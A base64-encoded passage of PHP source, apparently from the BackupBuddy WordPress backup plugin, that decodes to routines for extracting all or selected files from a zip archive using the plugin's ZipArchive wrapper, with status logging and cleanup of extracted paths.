3RvcnkgPSAnJywgJGl0ZW1zID0gYXJyYXkoKSApIHsKCQkKCQkJJHJlc3VsdCA9IGZhbHNlOwoJCQoJCQlzd2l0Y2ggKCAkdGhpcy0+Z2V0X29zX3R5cGUoKSApIHsKCQkJCWNhc2Ugc2VsZjo6T1NfVFlQRV9OSVg6CgkJCQkJaWYgKCBlbXB0eSggJGl0ZW1zICkgKSB7CgkJCQkJCSRyZXN1bHQgPSAkdGhpcy0+ZXh0cmFjdF9nZW5lcmljX2Z1bGwoICR6aXBfZmlsZSwgJGRlc3RpbmF0aW9uX2RpcmVjdG9yeSApOwoJCQkJCX0gZWxzZSB7CgkJCQkJCSRyZXN1bHQgPSAkdGhpcy0+ZXh0cmFjdF9nZW5lcmljX3NlbGVjdGVkKCAkemlwX2ZpbGUsICRkZXN0aW5hdGlvbl9kaXJlY3RvcnksICRpdGVtcyApOwkJCQkJCgkJCQkJfQoJCQkJCWJyZWFrOwoJCQkJY2FzZSBzZWxmOjpPU19UWVBFX1dJTjoKCQkJCQlpZiAoIGVtcHR5KCAkaXRlbXMgKSApIHsKCQkJCQkJJHJlc3VsdCA9ICR0aGlzLT5leHRyYWN0X2dlbmVyaWNfZnVsbCggJHppcF9maWxlLCAkZGVzdGluYXRpb25fZGlyZWN0b3J5ICk7CgkJCQkJfSBlbHNlIHsKCQkJCQkJJHJlc3VsdCA9ICR0aGlzLT5leHRyYWN0X2dlbmVyaWNfc2VsZWN0ZWQoICR6aXBfZmlsZSwgJGRlc3RpbmF0aW9uX2RpcmVjdG9yeSwgJGl0ZW1zICk7CQkJCQkKCQkJCQl9CgkJCQkJYnJlYWs7CgkJCQlkZWZhdWx0OgoJCQkJCSRyZXN1bHQgPSBmYWxzZTsKCQkJfQoJCQkKCQkJcmV0dXJuICRyZXN1bHQ7CgkJCQoJCX0KCgkJLyoqCgkJICoJZXh0cmFjdF9nZW5lcmljX2Z1bGwoKQoJCSAqCgkJICoJRXh0cmFjdHMgdGhlIGNvbnRlbnRzIG9mIGEgemlwIGZpbGUgdG8gdGhlIHNwZWNpZmllZCBkaXJlY3RvcnkgdXNpbmcgdGhlIGJlc3QgdW56aXAgbWV0aG9kcyBwb3NzaWJsZS4KCQkgKgoJCSAqCUBwYXJhbQlzdHJpbmcJCSR6aXBfZmlsZQkJCQkJRnVsbCBwYXRoICYgZmlsZW5hbWUgb2YgWklQIGZpbGUgdG8gZXh0cmFjdCBmcm9tLgoJCSAqCUBwYXJhbQlzdHJpbmcJCSRkZXN0aW5hdGlvbl9kaXJlY3RvcnkJCUZ1bGwgZGlyZWN0b3J5IHBhdGggdG8gZXh0cmFjdCBpbnRvLgoJCSAqCUByZXR1cm4JYm9vbAkJCQkJCQkJCXRydWUgb24gc3VjY2VzcywgZmFsc2Ugb3RoZXJ3aXNlCgkJICovCgkJcHJvdGVjdGVkIGZ1bmN0aW9uIGV4dHJhY3RfZ2VuZXJpY19mdWxsKCAkemlwX2ZpbGUsICRkZXN0aW5hdGlvbl9kaXJlY3RvcnkgPSAnJyApIHsKCQkKCQkJJHJlc3VsdCA9IGZhbHNlOwoJCQkkemEgPSBOVUxMOwoJCQkkc3RhdCA9IGFycmF5KCk7CgkJCQoJCQkvLyBUaGlzIHNob3VsZCBnaXZlIHVzIGEgbmV3IGFyY2hpdmUgb2JqZWN0LCBpZiBub3QgY2F0Y2ggaXQgYW5kIGJhaWwgb3V0CgkJCXRyeSB7CgkJCQoJCQkJJHphID0gbmV3IHBsdWdpbmJ1ZGR5X1ppcEFyY2hpdmUoKTsKCQkJCSRyZXN1bHQgPSB0cnVlOwoJCQkJCgkJCX0gY2F0Y2ggKCBFeGNlcHRpb24gJGUgKSB7CgkJCQoJCQkJLy8gU29tZXRoaW5nIGZpc2h5IC0gdGhlIG1ldGhvZHMgaW5kaWNhdGVkIHppcGFyY2hpdmUgYnV0IHdlIGNvdWxkbid0IGZpbmQgdGhlIGNsYXNzCgkJCQkkZXJyb3Jfc3RyaW5nID0gJGUtPmdldE1lc3NhZ2UoKTsKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgc3ByaW50ZiggX18oJ3ppcGFyY2hpdmUgaW5kaWNhdGVkIGFzIGF2YWlsYWJsZSBtZXRob2QgYnV0IGVycm9yIHJlcG9ydGVkOiAlMSRzJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSwgJGVycm9yX3N0cmluZyApICk7CgkJCQkkcmVzdWx0ID0gZmFsc2U7CgkJCQkKCQkJfQoJCQkKCQkJLy8gT25seSBjb250aW51ZSBpZiB3ZSBoYXZlIGEgdmFsaWQgYXJjaGl2ZSBvYmplY3QKCQkJaWYgKCB0cnVlID09PSAkcmVzdWx0ICkgewoJCQkJCgkJCQkkcmVzdWx0ID0gJHphLT5vcGVuKCAkemlwX2ZpbGUgKTsKCQkJCQoJCQkJLy8gTWFrZSBzdXJlIHdlIG9wZW5lZCB0aGUgemlwIG9rCgkJCQlpZiAoIHRydWUgPT09ICRyZXN1bHQgKSB7CgkJCQkKCQkJCQkvLyBIb3cgbWFueSBmaWxlcyAtIGNvdWxkIGJlIDAgaWYgd2UgaGFkIGFuIGVtcHR5IHppcCBmaWxlCgkJCQkJJGZpbGVfY291bnQgPSAkemEtPm51bUZpbGVzOwoJCQkJCQoJCQkJCS8vIE9ubHkgcmV0dXJucyB0cnVlIGZvciBzdWNjZXNzIG9yIGZhbHNlIGZvciBmYWlsdXJlIC0gbm8gaW5kaWNhdGlvbiBvZiB3aHkgZmFpbGVkCgkJCQkJJHJlc3VsdCA9ICR6YS0+ZXh0cmFjdFRvKCAkZGVzdGluYXRpb25fZGlyZWN0b3J5ICk7CgkJCQkJCQkJCQoJCQkJCS8vIEN1cnJlbnRseSB3ZSBjYW4gb25seSBkaXN0aW5ndWlzaCBiZXR3ZWVuIHN1Y2Nlc3MgYW5kIGZhaWx1cmUgYnV0IG5vIGZpbmVyIGdyYWluCgkJCQkJaWYgKCB0cnVlID09PSAkcmVzdWx0ICkgewoJCQkJCQoJCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIHNwcmludGYoIF9fKCd6aXBhcmNoaXZlIGV4dHJhY3RlZCBmaWxlIGNvbnRlbnRzICglMSRzIHRvICUyJHMpJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSwgJHppcF9maWxlLCAkZGVzdGluYXRpb25fZGlyZWN0b3J5ICkgKTsKCgkJCQkJfSBlbHNlIHsKCQkJCQkKCQkJCQkJJGVycm9yX3N0cmluZyA9ICR6YS0+ZXJyb3JJbmZvKCk7CgkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgc3ByaW50ZiggX18oJ3ppcGFyY2hpdmUgZmFpbGVkIHRvIGV4dHJhY3QgZmlsZSBjb250ZW50cyAoJTEkcyB0byAlMiRzKSAtIEVycm9yIEluZm86ICUzJHMuJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSwgJHppcF9maWxlLCAkZGVzdGluYXRpb25fZGlyZWN0b3J5LCAkZXJyb3Jfc3RyaW5nICkgKTsKCQkJCQkKCQkJCQkJLy8gTWF5IHNlZW0gcmVkdW5kYW50IGJ1dCBiZWx0J24nYnJhY2VzCgkJCQkJCSRyZXN1bHQgPSBmYWxzZTsKCQkJCQl9CgkJCQkJCgkJCQkJJHRoaXMtPmxvZ19hcmNoaXZlX2ZpbGVfc3RhdHMoICR6aXBfZmlsZSApOwoJCQkJCQoJCQkJfSBlbHNlIHsKCQkJCQoJCQkJCS8vIENvdWxkbid0IG9wZW4gYXJjaGl2ZSAtIHdpbGwgcmV0dXJuIGZvciBtYXliZSBhbm90aGVyIG1ldGhvZCB0byB0cnkKCQkJCQkkZXJyb3Jfc3RyaW5nID0gJHphLT5lcnJvckluZm8oICRyZXN1bHQgKTsKCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIHNwcmludGYoIF9fKCdaaXBBcmNoaXZlIGZhaWxlZCB0byBvcGVuIGZpbGUgdG8gZXh0cmFjdCBjb250ZW50cyAoJTEkcyB0byAlMiRzKSAtIEVycm9yIEluZm86ICUzJHMuJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSwgJHppcF9maWxlLCAkZGVzdGluYXRpb25fZGlyZWN0b3J5LCAkZXJyb3Jfc3RyaW5nICkgKTsKCgkJCQkJLy8gUmV0dXJuIGFuIGVycm9yIGNvZGUgYW5kIGEgZGVzY3JpcHRpb24gLSB0aGlzIG5lZWRzIHRvIGJlIGhhbmRsZWQgbW9yZSBnZW5lcmljYWxseQoJCQkJCS8vJHJlc3VsdCA9IGFycmF5KCAxLCAiVW5hYmxlIHRvIGdldCBhcmNoaXZlIGNvbnRlbnRzIiApOwoJCQkJCS8vIEN1cnJlbnRseSBhcyB3ZSBhcmUgcmV0dXJuaW5nIGFuIGFycmF5IGFzIGEgdmFsaWQgcmVzdWx0IHdlIGp1c3QgcmV0dXJuIGZhbHNlIG9uIGZhaWx1cmUKCQkJCQkkcmVzdWx0ID0gZmFsc2U7CgoJCQkJfQoJCQkJCgkJCQkkemEtPmNsb3NlKCk7CgkJCQoJCQl9CgkJCQoJCSAgCWlmICggTlVMTCAhPSAkemEgKSB7IHVuc2V0KCAkemEgKTsgfQkJCgkJCQoJCQlyZXR1cm4gJHJlc3VsdDsKCQkJCQkJCgkJfQoKCQkvKioKCQkgKglleHRyYWN0X2dlbmVyaWNfc2VsZWN0ZWQoKQoJCSAqCgkJICoJRXh0cmFjdHMgdGhlIGNvbnRlbnRzIG9mIGEgemlwIGZpbGUgdG8gdGhlIHNwZWNpZmllZCBkaXJlY3RvcnkgdXNpbmcgdGhlIGJlc3QgdW56aXAgbWV0aG9kcyBwb3NzaWJsZS4KCQkgKgoJCSAqCUBwYXJhbQlzdHJpbmcJCSR6aXBfZmlsZQkJCQkJRnVsbCBwYXRoICYgZmlsZW5hbWUgb2YgWklQIGZpbGUgdG8gZXh0cmFjdCBmcm9tLgoJCSAqCUBwYXJhbQlzdHJpbmcJCSRkZXN0aW5hdGlvbl9kaXJlY3RvcnkJCUZ1bGwgZGlyZWN0b3J5IHBhdGggdG8gZXh0cmFjdCBpbnRvLgoJCSAqCUBwYXJhbQlhcnJheQkJJGl0ZW1zCQkJCQkJTWFwcGluZyBvZiB3aGF0IHRvIGV4dHJhY3QgYW5kIHRvIHdoYXQKCQkgKglAcmV0dXJuCWJvb2wJCQkJCQkJCQl0cnVlIG9uIHN1Y2Nlc3MgKGFsbCBleHRyYWN0aW9ucyBzdWNjZXNzZnVsKSwgZmFsc2Ugb3RoZXJ3aXNlCgkJICovCgkJcHJvdGVjdGVkIGZ1bmN0aW9uIGV4dHJhY3RfZ2VuZXJpY19zZWxlY3RlZCggJHppcF9maWxlLCAkZGVzdGluYXRpb25fZGlyZWN0b3J5ID0gJycsICRpdGVtcyApIHsKCQkKCQkJJHJlc3VsdCA9IGZhbHNlOwoJCQkkemEgPSBOVUxMOwoJCQkKCQkJLy8gVGhpcyBzaG91bGQgZ2l2ZSB1cyBhIG5ldyBhcmNoaXZlIG9iamVjdCwgaWYgbm90IGNhdGNoIGl0IGFuZCBiYWlsIG91dAoJCQl0cnkgewoJCQkKCQkJCSR6YSA9IG5ldyBwbHVnaW5idWRkeV9aaXBBcmNoaXZlKCk7CgkJCQkkcmVzdWx0ID0gdHJ1ZTsKCQkJCQoJCQl9IGNhdGNoICggRXhjZXB0aW9uICRlICkgewoJCQkKCQkJCS8vIFNvbWV0aGluZyBmaXNoeSAtIHRoZSBtZXRob2RzIGluZGljYXRlZCB6aXBhcmNoaXZlIGJ1dCB3ZSBjb3VsZG4ndCBmaW5kIHRoZSBjbGFzcwoJCQkJJGVycm9yX3N0cmluZyA9ICRlLT5nZXRNZXNzYWdlKCk7CgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIHNwcmludGYoIF9fKCd6aXBhcmNoaXZlIGluZGljYXRlZCBhcyBhdmFpbGFibGUgbWV0aG9kIGJ1dCBlcnJvciByZXBvcnRlZDogJTEkcycsJ2l0LWwxMG4tYmFja3VwYnVkZHknICksICRlcnJvcl9zdHJpbmcgKSApOwoJCQkJJHJlc3VsdCA9IGZhbHNlOwoJCQkJCgkJCX0KCQkJCgkJCS8vIE9ubHkgY29udGludWUgaWYgd2UgaGF2ZSBhIHZhbGlkIGFyY2hpdmUgb2JqZWN0CgkJCWlmICggdHJ1ZSA9PT0gJHJlc3VsdCApIHsKCQkJCQoJCQkJJHJlc3VsdCA9ICR6YS0+b3BlbiggJHppcF9maWxlICk7CgkJCQkKCQkJCS8vIE1ha2Ugc3VyZSB3ZSBvcGVuZWQgdGhlIHppcCBvawoJCQkJaWYgKCB0cnVlID09PSAkcmVzdWx0ICkgewoJCQkJCgkJCQkJLy8gTm93IHdlIG5lZWQgdG8gdGFrZSBlYWNoIGl0ZW0gYW5kIHJ1biBhbiB1bnppcCBmb3IgaXQgLSB1bmZvcnR1bmF0ZWx5IHRoZXJlIGlzIG5vIGVhc3kgd2F5IG9mIGNvbWJpbmluZwoJCQkJCS8vIGFyYml0cmFyeSBleHRyYWN0aW9ucyBpbnRvIGEgc2luZ2xlIGNvbW1hbmQgaWYgc29tZSBtaWdodCBiZSB0byBhIAoJCQkJCWZvcmVhY2ggKCAkaXRlbXMgYXMgJHdoYXQgPT4gJHdoZXJlICkgewoJCQkKCQkJCQkJJHJlbmFtZV9yZXF1aXJlZCA9IGZhbHNlOwoJCQkJCQkkcmVzdWx0ID0gZmFsc2U7CgkJCQkKCQkJCQkJLy8gRGVjaWRlIGhvdyB0byBleHRyYWN0IGJhc2VkIG9uIHdoZXJlCgkJCQkJCWlmICggZW1wdHkoICR3aGVyZSkgKSB7CgkJCQkJCgkJCQkJCQkvLyBGaXJzdCB3ZSdsbCBleHRyYWN0IGFuZCB0aGVuIGp1bmsgdGhlIHBhdGgKCQkJCQkJCSRyZXN1bHQgPSAkemEtPmV4dHJhY3RUbyggJGRlc3RpbmF0aW9uX2RpcmVjdG9yeSwgJHdoYXQgKTsKCQkJCQkJCQkKCQkJCQkJCS8vIFVubGlrZSBleGVjIHppcCB3ZSBoYXZlIHRvIGVmZmVjdGl2ZWx5IGp1bmsgdGhlIHBhdGggYWZ0ZXIgdGhlIGV4dHJhY3Rpb24KCQkJCQkJCS8vIERvIHRoaXMgYnkgcmVuYW1pbmcgdGhlIGZpbGUgdG8gdGhlIGRlc3RpbmF0aW9uIGRpcmVjdG9yeSBhbmQgdGhlbiBnZXR0aW5nIHJpZCBvZiBhbnkgZGlyZWN0b3J5CgkJCQkJCQkvLyBzdHJ1Y3R1cmUgaXQgd2FzIHVuZGVyLiBJZiBkaXJuYW1lIGlzIG5vdCAuIHRoZW4gd2Uga25vdyB0aGVyZSBpcyBhIGRpcmVjdHJ5IHBhdGggYW5kIG5vdAoJCQkJCQkJLy8ganVzdCBhIHNpbXBsZSBmaWxlIG5hbWUgKHJlbWVtYmVyIHRoYXQgJHdoYXQgc2hvdWxkIF9ub3RfIGhhdmUgYW55IGxlYWRpbmcgc2xhc2ggd2hldGhlcgoJCQkJCQkJLy8gaXQgaXMgYSBmaWxlcGF0aCBvciBhIHNpbXBsZSBmaWxlbmFtZSkKCQkJCQkJCWlmICggIi4iICE9IGRpcm5hbWUoICR3aGF0ICkgKSB7CgkJCQkJCQkKCQkJCQkJCQlyZW5hbWUoICRkZXN0aW5hdGlvbl9kaXJlY3RvcnkgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJHdoYXQsCgkJCQkJCQkJCQkkZGVzdGluYXRpb25fZGlyZWN0b3J5IC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuIGJhc2VuYW1lKCAkd2hhdCkgKTsKCQkJCQkJCQkJCQoJCQkJCQkJCS8vIEdldCB0aGUgcGF0aCBjb21wb25lbnQgb2YgJHdoYXQgLSBub3RlIHRoYXQgZGlybmFtZSgpIGFkZHMgYSBsZWFkaW5nIHNsYXNoCgkJCQkJCQkJLy8gZXZlbiBpZiBub25lIHdhcyBwcmVzZW50IG9yaWdpbmFsbHkuIFdlIG11c3QgZ2V0IHRoZSBmaXJzdCBkaXJlY3RvcnkgY29tcG9uZW50IG9ubHkKCQkJCQkJCQkvLyBzbyB3ZSBjYW4gZG8gYSByZWN1cnNpdmUgZGVsZXRlIG9uIGl0LiBUaGlzIGlzIGEgYml0IGtsdW5reSBidXQgZnVuY3Rpb25hbC4KCQkJCQkJCQkkd2hhdHBhdGggPSAkd2hhdDsKCQkJCQkJCQlkbyB7CgkJCQkJCQkJCSR3aGF0cGF0aCA9IGRpcm5hbWUoICR3aGF0cGF0aCApOwoJCQkJCQkJCX0gd2hpbGUgKCAxIDwgc3RybGVuKCBkaXJuYW1lKCAkd2hhdHBhdGggKSApICk7CgoJCQkJCQkJCS8vIE5vdyB3ZSBjYW4gZG8gdGhlIHJlY3Vyc2l2ZSBkZWxldGUgZnJvbSB0aGF0IHRvcCBsZXZlbCBjb21wb25lbnQKCQkJCQkJCQkkdGhpcy0+ZGVsZXRlX2RpcmVjdG9yeV9yZWN1cnNpdmUoICRkZXN0aW5hdGlvbl9kaXJlY3RvcnkgLiAkd2hhdHBhdGggKTsKCgkJCQkJCQl9CgkJCQkJCQkJCQkJCQkJCQoJCQkJCQoJCQkJCQl9IGVsc2VpZiAoICFlbXB0eSggJHdoZXJlICkgKSB7CgkJCQkJCgkJCQkJCQlpZiAoICR3aGF0ID09PSAkd2hlcmUgKSB7CgkJCQkJCQkKCQkJCQkJCQkvLyBDaGVjayBmb3Igd2lsZGNhcmQgZGlyZWN0b3J5IGV4dHJhY3Rpb24gbGlrZSBkaXIvKiA9PiBkaXIvKgoJCQkJCQkJCWlmICggIioiID09IHN1YnN0ciggdHJpbSggJHdoYXQgKSwgLTEgKSApIHsKCQkJCQkJCQkKCQkJCQkJCQkJLy8gR2V0IG91ciBwYXRoIG1hdGNoIHN0cmluZyAoanVzdCBjbGlwIG9mZiB0aGUgd2lsZGNhcmQpCgkJCQkJCQkJCSR3aGF0cm9vdCA9IHN1YnN0ciggdHJpbSggJHdoYXQgKSwgMCwgLTEgKTsKCQkJCQkJCQkJJGZpbGVfY291bnQgPSAkemEtPm51bUZpbGVzOwoJCQkJCQkJCQoJCQkJCQkJCQkvLyBDcmlrZXksIGl0J3MgYSBkaXJlY3RvcnkgdHJlZSBleHRyYWN0aW9uIC0gZG9uJ3QgcGFuaWMKCQkJCQkJCQkJLy8gV2UgbmVlZCB0byBnbyB0aHJvdWdoIHRoZSB3aG9sZSB6aXAgYW5kIGV4dHJhY3QgZWFjaCBmaWxlIHRoYXQgbWF0Y2hlcwoJCQkJCQkJCQlmb3IgKCAkaSA9IDA7ICRpIDwgJGZpbGVfY291bnQ7ICRpKysgKSB7CgkJCQkJCQkJCQoJCQkJCQkJCQkJLy8gR2V0IHRoZSBmaWxlbmFtZSBieSBpbmRleCBhbmQgc2VlIGlmIGl0J3MgaW4gdGhlIHRyZWUKCQkJCQkJCQkJCSRmaWxlbmFtZSA9ICR6YS0+Z2V0TmFtZUluZGV4KCAkaSApOwoJCQkJCQkJCQkJaWYgKCAwID09PSBzdHJwb3MoICRmaWxlbmFtZSwgJHdoYXRyb290ICkgKSB7CgkJCQkJCQkJCQkKCQkJCQkJCQkJCQkvLyAkd2hhdCBtYXRjaGVkIHRoZSByb290IG9mIHRoaXMgZmlsZW5hbWUgc28gZXh0cmFjdCBpdAoJCQkJCQkJCQkJCSRyZXN1bHQgPSAkemEtPmV4dHJhY3RUbyggJGRlc3RpbmF0aW9uX2RpcmVjdG9yeSwgJGZpbGVuYW1lICk7CgoJCQkJCQkJCQkJCWlmICggZmFsc2UgPT09ICRyZXN1bHQgKSB7CgkJCQkJCQkJCQkJCQoJCQkJCQkJCQkJCQkvLyBBbiBleHRyYWN0aW9uIGZhaWxlZCBzbyBiYWlsIG91dCBoZXJlIC0gdGhpcyBzaG91bGQganVzdAoJCQkJCQkJCQkJCQkvLyBkcm9wIHVzIHRocm91Z2ggdG8gdGhlIHBvc3QtcHJvY2Vzc2luZyBvZiAkcmVzdWx0IHdoaWNoIG9uCgkJCQkJCQkJCQkJCS8vIGEgZmFsc2Ugc2hvdWxkIHRoZW4gZHJvcCB1cyBvdXQgb2YgdGhlIGZvcmVhY2ggbG9vcAoJCQkJCQkJCQkJCQlicmVhazsKCQkJCQkJCQkJCQkJCgkJCQkJCQkJCQkJfQoJCQkJCQkJCQkJCgkJCQkJCQkJCQl9CgkJCQkJCQkJCQoJCQkJCQkJCQl9CgkJCQkJCQkJCgkJCQkJCQkJfSBlbHNlIHsKCQkJCQkJCQkKCQkJCQkJCQkJLy8gSXQncyBqdXN0IGEgc2luZ2xlIGZpbGUgZXh0cmFjdGlvbiAtIGJyZWF0aCBhIHNpZ24gb2YgcmVsaWVmCgkJCQkJCQkJCS8vIEV4dHJhY3QgdG8gc2FtZSBkaXJlY3Rvcnkgc3RydWN0dXJlIC0gZG9uJ3QganVuayBwYXRoLCBubyBuZWVkIHRvIGFkZCB3aGVyZSB0byBkZXN0bmF0aW9uIGFzIGF1dG9tYXRpYwoJCQkJCQkJCQkkcmVzdWx0ID0gJHphLT5leHRyYWN0VG8oICRkZXN0aW5hdGlvbl9kaXJlY3RvcnksICR3aGF0ICk7CgoJCQkJCQkJCX0KCQkJCQkJCgkJCQkJCQl9IGVsc2UgewoJCQkJCQkKCQkJCQkJCQkvLyBGaXJzdCB3ZSdsbCBleHRyYWN0IGFuZCB0aGVuIGp1bmsgdGhlIHBhdGgKCQkJCQkJCQkkcmVzdWx0ID0gJHphLT5leHRyYWN0VG8oICRkZXN0aW5hdGlvbl9kaXJlY3RvcnksICR3aGF0ICk7CgkJCQkJCQkJCgkJCQkJCQkJLy8gVW5saWtlIGV4ZWMgemlwIHdlIGhhdmUgdG8gZWZmZWN0aXZlbHkganVuayB0aGUgcGF0aCBhZnRlciB0aGUgZXh0cmFjdGlvbgoJCQkJCQkJCS8vIERvIHRoaXMgYnkgcmVuYW1pbmcgdGhlIGZpbGUgdG8gdGhlIGRlc3RpbmF0aW9uIGRpcmVjdG9yeSBhbmQgdGhlbiBnZXR0aW5nIHJpZCBvZiBhbnkgZGlyZWN0b3J5CgkJCQkJCQkJLy8gc3RydWN0dXJlIGl0IHdhcyB1bmRlci4gSWYgZGlybmFtZSBpcyBub3QgLiB0aGVuIHdlIGtub3cgdGhlcmUgaXMgYSBkaXJlY3RyeSBwYXRoIGFuZCBub3QKCQkJCQkJCQkvLyBqdXN0IGEgc2ltcGxlIGZpbGUgbmFtZSAocmVtZW1iZXIgdGhhdCAkd2hhdCBzaG91bGQgX25vdF8gaGF2ZSBhbnkgbGVhZGluZyBzbGFzaCB3aGV0aGVyCgkJCQkJCQkJLy8gaXQgaXMgYSBmaWxlcGF0aCBvciBhIHNpbXBsZSBmaWxlbmFtZSkKCQkJCQkJCQlpZiAoICIuIiAhPSBkaXJuYW1lKCAkd2hhdCApICkgewoJCQkJCQkJCQoJCQkJCQkJCQlyZW5hbWUoICRkZXN0aW5hdGlvbl9kaXJlY3RvcnkgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJHdoYXQsCgkJCQkJCQkJCQkJJGRlc3RpbmF0aW9uX2RpcmVjdG9yeSAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiBiYXNlbmFtZSggJHdoYXQpICk7CgkJCQkJCQkJCQkJCgkJCQkJCQkJCS8vIEdldCB0aGUgcGF0aCBjb21wb25lbnQgb2YgJHdoYXQgLSBub3RlIHRoYXQgZGlybmFtZSgpIGFkZHMgYSBsZWFkaW5nIHNsYXNoCgkJCQkJCQkJCS8vIGV2ZW4gaWYgbm9uZSB3YXMgcHJlc2VudCBvcmlnaW5hbGx5LiBXZSBtdXN0IGdldCB0aGUgZmlyc3QgZGlyZWN0b3J5IGNvbXBvbmVudCBvbmx5CgkJCQkJCQkJCS8vIHNvIHdlIGNhbiBkbyBhIHJlY3Vyc2l2ZSBkZWxldGUgb24gaXQuIFRoaXMgaXMgYSBiaXQga2x1bmt5IGJ1dCBmdW5jdGlvbmFsLgoJCQkJCQkJCQkkd2hhdHBhdGggPSAkd2hhdDsKCQkJCQkJCQkJZG8gewoJCQkJCQkJCQkJJHdoYXRwYXRoID0gZGlybmFtZSggJHdoYXRwYXRoICk7CgkJCQkJCQkJCX0gd2hpbGUgKCAxIDwgc3RybGVuKCBkaXJuYW1lKCAkd2hhdHBhdGggKSApICk7CgoJCQkJCQkJCQkvLyBOb3cgd2UgY2FuIGRvIHRoZSByZWN1cnNpdmUgZGVsZXRlIGZyb20gdGhhdCB0b3AgbGV2ZWwgY29tcG9uZW50CgkJCQkJCQkJCSR0aGlzLT5kZWxldGVfZGlyZWN0b3J5X3JlY3Vyc2l2ZSggJGRlc3RpbmF0aW9uX2RpcmVjdG9yeSAuICR3aGF0cGF0aCApOwoKCQkJCQkJCQl9CgkJCQkJCQkJCQkJCQkJCQoJCQkJCQkJCS8vIFdpbGwgbmVlZCB0byByZW5hbWUgaWYgdGhlIGV4dHJhY3QgaXMgb2sKCQkJCQkJCQkkcmVuYW1lX3JlcXVpcmVkID0gdHJ1ZTsKCQkJCQkJCgkJCQkJCQl9CgkJCQkJCgkJCQkJCX0KCQkJCQoJCQkJCQkvLyBOb3RlOiB3ZSBkb24ndCBvcGVuIHRoZSBmaWxlIGFuZCB0aGVuIGRvIHN0dWZmIGJ1dCBpdCdzIGFsbCBkb25lIGluIG9uZSBhY3Rpb24KCQkJCQkJLy8gc28gd2UgbmVlZCB0byBpbnRlcnByZXQgdGhlIHJldHVybiBjb2RlIHRvIGRlZGlkZSB3aGF0IHRvIGRvCgkJCQkJCS8vIEN1cnJlbnRseSB3ZSBjYW4gb25seSBkaXN0aW5ndWlzaCBiZXR3ZWVuIHN1Y2Nlc3MgYW5kIGZhaWx1cmUgYnV0IG5vIGZpbmVyIGdyYWluCgkJCQkJCWlmICggdHJ1ZSA9PT0gJHJlc3VsdCApIHsKCQkJCQkKCQkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgc3ByaW50ZiggX18oJ3ppcGFyY2hpdmUgZXh0cmFjdGVkIGZpbGUgY29udGVudHMgKCUxJHMgZnJvbSAlMiRzIHRvICUzJHMlNCRzKScsJ2l0LWwxMG4tYmFja3VwYnVkZHknICksICR3aGF0LCAkemlwX2ZpbGUsICRkZXN0aW5hdGlvbl9kaXJlY3RvcnksICR3aGVyZSApICk7CgoJCQkJCQkJLy8gUmVuYW1lIGlmIHdlIGhhdmUgdG8KCQkJCQkJCWlmICggdHJ1ZSA9PT0gJHJlbmFtZV9yZXF1aXJlZCkgewoJCQkJCQkJCgkJCQkJCQkJLy8gTm90ZTogd2UganVua2VkIHRoZSBwYXRoIG9uIHRoZSBleHRyYWN0aW9uIHNvIGp1c3QgdGhlIGZpbGVuYW1lIG9mICR3aGF0IGlzIHRoZSBzb3VyY2UgYnV0CgkJCQkJCQkJLy8gJHdoZXJlIGNvdWxkIGJlIGEgc2ltcGxlIGZpbGUgbmFtZSBvciBhIGZpbGUgcGF0aCAKCQkJCQkJCQkkcmVzdWx0ID0gJHJlc3VsdCAmJiByZW5hbWUoICRkZXN0aW5hdGlvbl9kaXJlY3RvcnkgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gYmFzZW5hbWUoICR3aGF0ICksCgkJCQkJCQkJCQkJCQkJCSAkZGVzdGluYXRpb25fZGlyZWN0b3J5IC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICR3aGVyZSApOwoJCQkJCQkJCgkJCQkJCQl9CgoJCQkJCQl9IGVsc2UgewoJCQkJCQoJCQkJCQkJLy8gRm9yIG5vdyBsZXQncyBqdXN0IHByaW50IHRoZSBlcnJvciBjb2RlIGFuZCBkcm9wIHRocm91Z2gKCQkJCQkJCSRlcnJvcl9zdHJpbmcgPSAkemEtPmVycm9ySW5mbygpOwoJCQkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBzcHJpbnRmKCBfXygnemlwYXJjaGl2ZSBmYWlsZWQgdG8gb3Blbi9wcm9jZXNzIGZpbGUgdG8gZXh0cmFjdCBmaWxlIGNvbnRlbnRzICglMSRzIGZyb20gJTIkcyB0byAlMyRzJTQkcykgLSBFcnJvciBJbmZvOiAlNSRzLicsJ2l0LWwxMG4tYmFja3VwYnVkZHknICksICR3aGF0LCAkemlwX2ZpbGUsICRkZXN0aW5hdGlvbl9kaXJlY3RvcnksICR3aGVyZSwgJGVycm9yX3N0cmluZyApICk7CgkJCQkJCgkJCQkJCQkvLyBNYXkgc2VlbSByZWR1bmRhbnQgYnV0IGJlbHQnbidicmFjZXMKCQkJCQkJCSRyZXN1bHQgPSBmYWxzZTsKCQkJCQkJCQoJCQkJCQl9CgkJCQkJCgkJCQkJCS8vIElmIHRoZSBleHRyYWN0aW9uIGZhaWxlZCAob3IgcmVuYW1lIGFmdGVyIGV4dHJhY3Rpb24pIHRoZW4gYnJlYWsgb3V0IG9mIHRoZSBmb3JlYWNoIGFuZCBzaW1wbHkgcmV0dXJuIGZhbHNlCgkJCQkJCWlmICggZmFsc2UgPT09ICRyZXN1bHQgKSB7CgkJCQkJCgkJCQkJCQlicmVhazsKCQkJCQkJCgkJCQkJCX0KCQkJCQkKCQkJCQl9CgkJCQkKCQkJCX0gZWxzZSB7CgkJCQkKCQkJCQkvLyBDb3VsZG4ndCBvcGVuIGFyY2hpdmUgLSB3aWxsIHJldHVybiBmb3IgbWF5YmUgYW5vdGhlciBt